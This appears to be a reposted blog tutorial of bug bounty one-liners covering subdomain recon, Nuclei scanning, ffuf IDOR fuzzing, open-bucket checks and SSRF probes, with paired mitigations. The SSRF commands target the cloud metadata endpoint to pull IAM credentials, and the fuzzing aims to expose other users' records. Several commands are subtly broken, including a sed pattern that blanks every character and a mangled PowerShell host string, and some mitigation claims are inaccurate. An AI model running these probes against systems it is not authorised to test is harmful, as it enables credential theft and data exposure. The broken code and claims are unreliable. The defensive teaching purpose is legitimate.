Listen to this Post
Introduction:
Bug bounty hunting requires speed, precision, and automation to discover vulnerabilities before malicious actors do. One‑liners—compact chains of Linux commands and tools—allow ethical hackers to perform reconnaissance, scanning, and exploitation in seconds, turning complex workflows into single lines of execution. This article unpacks the most effective bug bounty one‑liners, provides step‑by‑step guides for using them on both Linux and Windows, and explores how to harden your own cloud and API assets against the same techniques.
Learning Objectives:
- Automate subdomain enumeration, live host probing, and port scanning using concise one‑liners.
- Execute advanced vulnerability detection with Nuclei, HTTPX, and custom payload injection.
- Apply mitigation strategies and cloud hardening techniques to defend against the identified attack patterns.
You Should Know:
1. Supercharged Subdomain Enumeration & Live Host Discovery
This section builds a complete reconnaissance pipeline: enumerate subdomains, resolve them, filter live hosts, and probe for HTTP/S services. The following one‑liner uses subfinder, httpx, and `jq` – all standard bug bounty tools.
Step‑by‑step guide (Linux):
Install required tools (if missing) go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest sudo apt install jq -y One-liner: enumerate subdomains for target.com, probe live hosts, output JSON subfinder -d target.com -silent | httpx -silent -status-code -title -tech-detect -json | jq -r '. | "(.host) [(.status_code)] (.title) - (.tech)"'
What it does:
`subfinder` discovers subdomains via passive sources. The output is piped to httpx, which sends HTTP requests to each subdomain, records status codes, page titles, and detected technologies (e.g., nginx, React). `jq` formats the results into readable lines. Use this to map an organization’s external attack surface.
Windows alternative (using PowerShell and `Invoke-WebRequest`):
Requires Windows Subsystem for Linux (WSL) for native tools, or use precompiled binaries .\subfinder.exe -d target.com -silent | .\httpx.exe -silent -status-code -title
2. Automated Screenshotting & Visual Reconnaissance
Visual inspection of hundreds of subdomains helps identify unusual login portals, outdated admin panels, or development servers. This one‑liner captures screenshots of all live hosts using gowitness.
Step‑by‑step guide:
Install gowitness go install github.com/sensepost/gowitness@latest One-liner: find live hosts, take screenshots, generate report subfinder -d target.com -silent | httpx -silent -follow-redirects | gowitness scan --file - --destination ./screenshots --no-http
Explanation:
`httpx -follow-redirects` ensures final landing pages are captured. `gowitness` takes a screenshot of each URL and generates an HTML report (./screenshots/gowitness.html). Open it in a browser to quickly spot interesting interfaces.
Mitigation:
To protect your own assets, use `X-Frame-Options: DENY` and `Content-Security-Policy: frame-ancestors ‘none’` to prevent visual harvesting via iframe‑based tools. Also, implement login‑page obfuscation for non‑public admin panels.
3. Nuclei Template Scanning for Vulnerabilities
Nuclei is the industry standard for template‑based vulnerability scanning. This one‑liner runs a curated set of bug‑bounty relevant checks with automatic rate limiting and error handling.
Step‑by‑step guide:
Install nuclei go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest One-liner: scan live hosts with medium/high severity, exclude false positives subfinder -d target.com -silent | httpx -silent -threads 100 | nuclei -t ~/nuclei-templates/ -severity medium,high,critical -rate-limit 150 -bulk-size 25 -stats -o nuclei_results.txt
What this does:
– `-t ~/nuclei-templates/` points to the template directory (update via nuclei -update-templates).
– `-severity medium,high,critical` filters out low/info findings.
– `-rate-limit` and `-bulk-size` prevent blocking by WAFs.
– `-stats` shows real‑time progress.
Output is saved to nuclei_results.txt. Review for CVEs, misconfigurations (e.g., exposed .git, S3 buckets), and default credentials.
Windows execution:
Same commands work using the Windows binaries from the nuclei releases page. Ensure `~/nuclei-templates` is replaced with an absolute path like C:\tools\nuclei-templates.
4. API Security Testing with Custom Payload Injection
Modern bug bounties heavily target APIs. This one‑liner fuzzes a REST API endpoint for IDOR (Insecure Direct Object References) and SQL injection using `ffuf` and a custom wordlist.
Step‑by‑step guide:
Install ffuf go install github.com/ffuf/ffuf/v2@latest One-liner: fuzz user ID parameter on a REST API ffuf -u https://api.target.com/v1/user/FUZZ -w /usr/share/wordlists/numbers.txt -fc 401,403,404 -c -o fuzz_output.json
Explanation:
- Replace `FUZZ` with the parameter position (e.g.,
/user/FUZZ). - Wordlist `numbers.txt` contains sequential integers (e.g., 1..10000).
– `-fc 401,403,404` filters out unauthorized, forbidden, and not found responses, leaving accessible records. - Output JSON can be analyzed for leaked data.
Advanced API one‑liner with GraphQL:
GraphQL IDOR using a query in a JSON file
ffuf -u https://api.target.com/graphql -X POST -H "Content-Type: application/json" -d '{"query":"{user(id: FUZZ) { email name }}","variables":{}}' -w ids.txt -fc 400,403 -c
Mitigation for API owners:
Implement object‑level authorization checks on every endpoint. Use random, non‑sequential UUIDs instead of integers. Enforce rate limiting and require API keys with least privilege.
- Cloud Hardening: Detecting Open S3 Buckets & Azure Blobs
Misconfigured cloud storage is a top bug bounty finding. This one‑liner enumerates bucket names derived from subdomains and tests for public read access.
Step‑by‑step guide (Linux):
Install awscli and Azure CLI sudo apt install awscli -y curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash Extract potential bucket names from subdomains (e.g., assets.target.com → assets-target) subfinder -d target.com -silent | sed 's/./-/g' > buckets.txt Test AWS S3 (public listing) while read bucket; do aws s3 ls s3://$bucket --no-sign-request 2>/dev/null && echo "OPEN BUCKET: $bucket"; done < buckets.txt Test Azure blob containers while read container; do az storage container show --name $container --account-name $container --auth-mode login 2>/dev/null && echo "AZURE OPEN: $container"; done < buckets.txt
What it finds:
Buckets with `–no-sign-request` that allow anonymous listing. Attackers can then download sensitive files (logs, backups, credentials). Always block public ACLs and enable bucket policies that deny `s3:GetObject` for unauthenticated principals.
Hardening command (AWS):
aws s3api put-public-access-block --bucket your-bucket-name --public-access-block-configuration BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true
6. Windows‑Specific Bug Bounty One‑Liner (PowerShell)
While Linux dominates bug bounty, Windows environments with WSL or native PowerShell can still be effective. This one‑liner performs subdomain brute‑forcing using a custom wordlist and Resolve-DnsName.
Step‑by‑step guide (PowerShell as Administrator):
Create a wordlist (common subdomains)
$wordlist = @("www", "mail", "admin", "dev", "api", "vpn", "test", "staging", "portal")
$domain = "target.com"
foreach ($sub in $wordlist) {
try {
$full = "$sub.$domain"
$ip = (Resolve-DnsName $full -ErrorAction Stop).IPAddress
Write-Host "[+] $full -> $ip" -ForegroundColor Green
} catch {
Write-Host "[-] $full not resolved" -ForegroundColor Gray
}
}
Enhance with parallel execution:
$wordlist | ForEach-Object -Parallel {
$full = "$_`$using:domain"
try { $ip = (Resolve-DnsName $full -ErrorAction Stop).IPAddress; "[+] $full -> $ip" } catch { "[-] $full not resolved" }
} -ThrottleLimit 20
Mitigation:
On your own Windows servers, disable unnecessary DNS records, use DNS‑over‑HTTPS (DoH) to hide internal names, and monitor for excessive `Resolve-DnsName` queries via Sysmon event ID 22 (DNS query).
- Exploitation & Mitigation of SSRF (Server‑Side Request Forgery)
SSRF one‑liners help test if an endpoint can be tricked into making internal requests. Use `curl` or `Burp Suite` collaborator.
Step‑by‑step guide (Linux):
Test for basic SSRF using a public collaborator (replace with your canary token)
curl -X POST https://target.com/api/fetch -d "url=http://169.254.169.254/latest/meta-data/" -H "Content-Type: application/x-www-form-urlencoded"
Automate with a list of internal IPs
for ip in 127.0.0.1 10.0.0.1 169.254.169.254 192.168.1.1; do
curl -s -o /dev/null -w "SSRF test to $ip returned %{http_code}\n" https://target.com/api/fetch?url=http://$ip/
done
What to look for:
A response status 200 or 403 indicates the server attempted the request. Successfully accessing the AWS metadata endpoint (169.254.169.254) yields IAM credentials – a critical finding.
Mitigation for developers:
- Implement a whitelist of allowed domains/IPs.
- Validate and sanitize URL input, blocking internal IP ranges and special schemes (
file://,gopher://). - Use a firewall to restrict outbound requests from application servers.
What Undercode Say:
- Speed and stealth matter: Bug bounty one‑liners reduce manual effort from hours to seconds, but always respect rate limits and scope. Uncontrolled scanning can violate program rules.
- Defense is the other side of the coin: Every one‑liner described—subdomain enumeration, screenshotting, nuclei scanning, SSRF fuzzing—has a direct mitigation. Security teams must proactively harden APIs, cloud storage, and DNS configurations against these exact techniques.
Prediction:
As AI‑powered copilots (e.g., GitHub Copilot, ChatGPT) become integrated into bug bounty workflows, we will see the rise of LLM‑generated one‑liners that dynamically adapt to target behavior. Attackers will use natural language to generate reconnaissance and exploit chains on the fly. Defenders must respond with AI‑driven WAFs that detect not just known payloads, but the intent behind rapid‑fire one‑liners. The arms race will shift from static tool signatures to behavioural anomaly detection at the terminal and API gateway layers.
▶️ Related Video (86% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Https: – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
